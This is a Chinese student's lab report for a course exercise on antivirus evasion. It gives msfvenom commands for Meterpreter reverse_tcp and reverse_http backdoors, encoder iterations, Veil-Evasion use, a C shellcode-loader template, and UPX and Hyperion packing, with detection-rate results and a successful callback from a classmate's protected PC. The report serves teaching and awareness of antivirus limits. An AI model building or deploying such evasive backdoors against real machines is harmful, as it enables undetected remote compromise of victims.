目录 —— 免杀原理与实践
1 免杀原理与实践说明
- 什么是免杀?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。要做好免杀,就要了解杀毒软件是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
- 本实验的最终目的是通过学习免杀,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
1.1 本次实验任务
- 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
- 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
1.2 基础知识问答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 启发式恶意软件检测:就是根据一些片面特征去推断是否为恶意代码。通常是因为缺乏精确判定的依据才采用这个方法。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
- 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的检测方法。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
- 改变特征码
- 有EXE:加壳(压缩壳、加密壳)
- 有shellcode(像Meterpreter):用encode进行编码,基于payload重新编译生成可执行文件
- 有源代码:半手工使用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
- 操作模式:基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 就常见恶意软件而言,一般AV的检出率为40%-98%,就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。虽然不能绝对防止,但大部分都能被拦下。因此杀软的存在还是很有必要的。
1.3 免杀扫描引擎
-
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
2 实验内容
2.1 使用msfvenom生成各种文件,veil-evasion,加壳工具,使用shellcode编程
2.1.1 正确使用msf编码器,生成exe文件,进行免杀检测
(1)msfvenom直接生成exe文件的扫描
-
使用【实验二】Exp2 后门原理与实践中生成的后门exe文件,分别放入VirusTotal和 Virscan中扫描
-
使用VirusTotal扫描结果
- 使用Virscan扫描结果
- 结论:不加任何处理的后门程序能够被大多数杀软检测到,因此进行(2)编码的尝试
(2)对exe文件编码后再扫描
-
使用msf编码器对后门程序进行一次/多次的编码,再次进行检测
-
编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.1.1.111 LPORT=5223 -f exe > met-encoded-10.exe
- 扫描结果
(VirusTotal中)
(Virscan中)
- 编码十次,其中使用
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.1.1.111 LPORT=5223 -f exe > met-encoded-10.exe
- 扫描结果
(VirusTotal中)
(Virscan中)
- 结论:加了编码后的后门程序一样能被查杀出来,对免杀的效果其实不大
2.1.2 使用msfvenom生成jar、php等文件,进行免杀检测
- 既然已经明白了直接生成和编码后的文件都能被查杀出来,因此改为生成jar、php等文件再来测试看看?
(1)使用msfvenom生成jar文件的扫描
- 生成命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.11.111 LPORT=5223 x> cn_backdoor.jar
- 扫描结果
(VirusTotal中)
(Virscan中)
(2)使用msfvenom生成php文件的扫描
- 生成命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.1.1.111 LPORT=5223 x> cn_backdoor.php
- 扫描结果
(VirusTotal中)
(Virscan中)
- 结论:还是能被查出来,但较之直接生成exe文件已经少了很多
2.1.3 使用veil-evasion生成后门程序及检测
(1)安装veil-evasion
- Veil-Evasion是一个与Metasploit有点类似的软件,在kali中使用
- 安装命令:
sudo apt-get install veil-evasion
,然后按y继续就行,最后成功done - 这里要安装veil-evasion,而不是安装veil,不然会报很多错orz,安装过程较久,要耐心等待
(2)安装成功,输入命令veil
启用veil
- 按y同意安装,这里也要等待较长一段时间(真的很久…),然后失败了
- 没办法只好拷贝了同学已经安装好veil的虚拟机,打开veil后界面如下
- 使用
use evasion
命令进入Veil-Evasion
- 进入配置界面重写meterperter,命令为:
use c/meterpreter/rev_tcp.py
- 设置反弹连接IP,命令为:
set LHOST <Kali-IP>
,我的kali机ip为10.1.1.189 - 设置端口,命令为:
set LPORT <端口号>
,我使用的端口号为5223
- 输入
generate
生成文件,并输入想要生成的playload名字:veil_payload_5223
- 从保存路径
/var/lib/veil/output/compiled/veil_payload_5223.exe
中找出文件进行检测
(VirusTotal中)
(Virscan中)
- 结论:好吧还是被检查出来了,而且还很多(…),再换下一个方法,半手工注入shellcode,试试看
2.1.4 使用shellcode编程生成可执行文件并且进行免杀检测
(1)使用msfvenom生成一段c文件shellcode
- 命令为:
msfvenom -p windows/meterpreter/reverse_http LHOST=10.1.1.189 LPORT=5223 -f c
(2)将生成的.c文件编译为可执行文件.exe
- 先使用命令
vim cn_shellcode_5223.c
将生成的shellcode导入.c文件中
unsigned char buf[] =
"此处省略生成的shellcode";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 接着使用命令
i686-w64-mingw32-g++ cn_shellcode_5223.c -o cn_shellcode_5223.exe
编译
- 再放入virscan和virustotal中检测
(VirusTotal中)
(Virscan中)
- 好吧还是能检查出来,但已经减少到9/49和26/69了
- 来试试看能不能回连kali msfconsole(失败了)
- 好吧传过去就被杀掉了(0kb),怎么办呢?
- 看实验指导书里说要在主机打开CodeBlocks,将shellcode复制过去再编译运行才行,试了一下果然成功了
- 结论:看来半手工生成shellcode再编译生成的可执行文件是可以成功反弹连接的
- 中途试了一下直接从虚拟机里把.exe文件拉出来,奇怪的是杀软并没有报错?但还是没法回连(不明原因。。也许是电脑管家太弱了8)
2.1.5 使用加壳工具生成可执行文件并且进行免杀检测
-
最后试试加壳,什么是加壳?
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
- MSF的编码器使用类似方法,对shellcode进行再编码。
-
从技术上分壳分为:
- 压缩壳:减少应用体积,如ASPack,UPX
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
(1)压缩壳UPX
- 将刚刚用shellcode生成的可执行代码加上压缩壳UPX
- 命令为:
upx cn_shellcode_5223.exe -o cn_upxed.exe
- 进行扫描
(VirusTotal中)
(Virscan中)
-
其实蛮多被查出来的。。。
-
传到主机让杀软查一下,恩还是被发现了XD
(2)加密壳Hyperion
- 将刚刚加壳过的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/
- 输入
wine hyperion.exe -v cn_upxed.exe cn_upxed_Hyperion.exe
加上加密壳
- 检测一下
(VirusTotal中)
(Virscan中)
-
扎心了,为什么还变多了。。。。。。
-
挣扎着再试一下反弹连接,一传过去杀软就报错并杀了这个加密壳
- 将加密壳直接拖到主机上,居然没有报错,可是回连还是不行
-
换成tcp协议试试,命令为:
- 生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.189 LPORT=5223 -f c
- 压缩壳:
upx cn_shellcode_5223.exe -o tcp_upxed.exe
- 加密壳:
wine hyperion.exe -v tcp_upxed.exe tcp_upxed_Hyperion.exe
- 生成shellcode:
-
将加壳的文件传到主机,未报错,回连失败,直接死了(。。。),紧接着再连一次发现被杀了
- 找了下解决方法是将文件夹加入到杀软的白名单里去,杀软在扫描的时候就不会检查这个文件夹里的东西
- 这样就可以检查能不能回连,并且不会被杀软查杀掉,果然成功了
- 结论:加壳以后反而更容易被杀毒引擎查出来呢,因为一般病毒都是加壳伪装后的,杀软会觉得这是个病毒然后拦截住
2.2 通过组合应用各种技术实现恶意代码免杀
- 其实就是总结一下上面的2.1.4和2.1.5
- 方法是半手工打造一个恶意代码再加壳:
- 使用msfvenom生成shellcode数组
- C语言调用这个数组,在编译器中编译出可执行文件exe
- 其中一二步都对shellcode进行了异或,最后还是回到了原来的样子,但这样杀软就不容易发现这个恶意代码
- 在杀软打开的情况下可以不被查杀并且回连kali
- 然后对这个未加壳的恶意代码加壳(压缩壳和加密壳)
- 最后一起查杀一下,杀软发现不了~
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
(1)还是2.2的步骤,生成一个可执行文件20165223.exe
(2)传给同学的电脑,她的电脑上的杀软是360安全卫士,版本是11(11.1.0.1001)
(3)运行程序,kali中显示回连成功,已经连接到同学的电脑(win10)
3 实验遇到的问题及解决方法
(1)virscan中遇到的命名问题
- 使用virscan时会遇到提示如下错误
- 根据提示改名即可
(2)拷贝来的虚拟机没有网络?
- 发现eth0中没有inet,如图所示
- 参考了kali中eth0网卡突然消失的解决方案,最后成功
4 实验收获与感想
- 总结免杀效果实测
序号 | 免杀方式 | 可用性 | VirusTotal | VirScan |
---|---|---|---|---|
1 | msfvenom直接生成 | 需要关闭杀软 | 51/71 | 27/49 |
2 | msfvenom编码一次 | 需要关闭杀软 | 50/71 | 28/49 |
3 | msfvenom编码十次 | 需要关闭杀软 | 50/70 | 27/49 |
4 | msfvenom生成jar | 需要关闭杀软 | 31/57 | 7/49 |
5 | msfvenom生成php | 需要关闭杀软 | 3/56 | 1/49 |
6 | Veil-evasion | 可以开启杀软 | 39/69 | 15/49 |
7 | C+shellcode | 可以开启杀软 | 26/69 | 9/49 |
8 | UPX压缩壳 | 可以开启杀软 | 24/64 | 12/49 |
9 | Hyperion加密壳 | 可以开启杀软 | 31/57 | 7/49 |
- 结论就是使用veil和半手工用C+shellcode的方式生成的恶意代码免杀成功率大
- 有点令我震惊的是没想到MVP居然是msfvenom生成php…居然只有1/49,太强了
- 通过这次实验让我了解到杀毒软件其实也不是万能的,有些狡猾的恶意代码,稍微变换一下就能骗过大多数杀毒引擎,实在是需要我们多加小心,要注意防范。比如没事多查看一下有没有奇怪的注册表信息,多用杀毒软件对电脑进行查杀,看看有没有莫名其妙开启的监听端口之类的,可以手动规避一些风险。
- 以及真的好难啊orz做了好久头都快秃了,安装veil的时候也是等了整整一小时结果失败了(不造说啥好),没办法了只好找了同学要了个已经安好veil的虚拟机x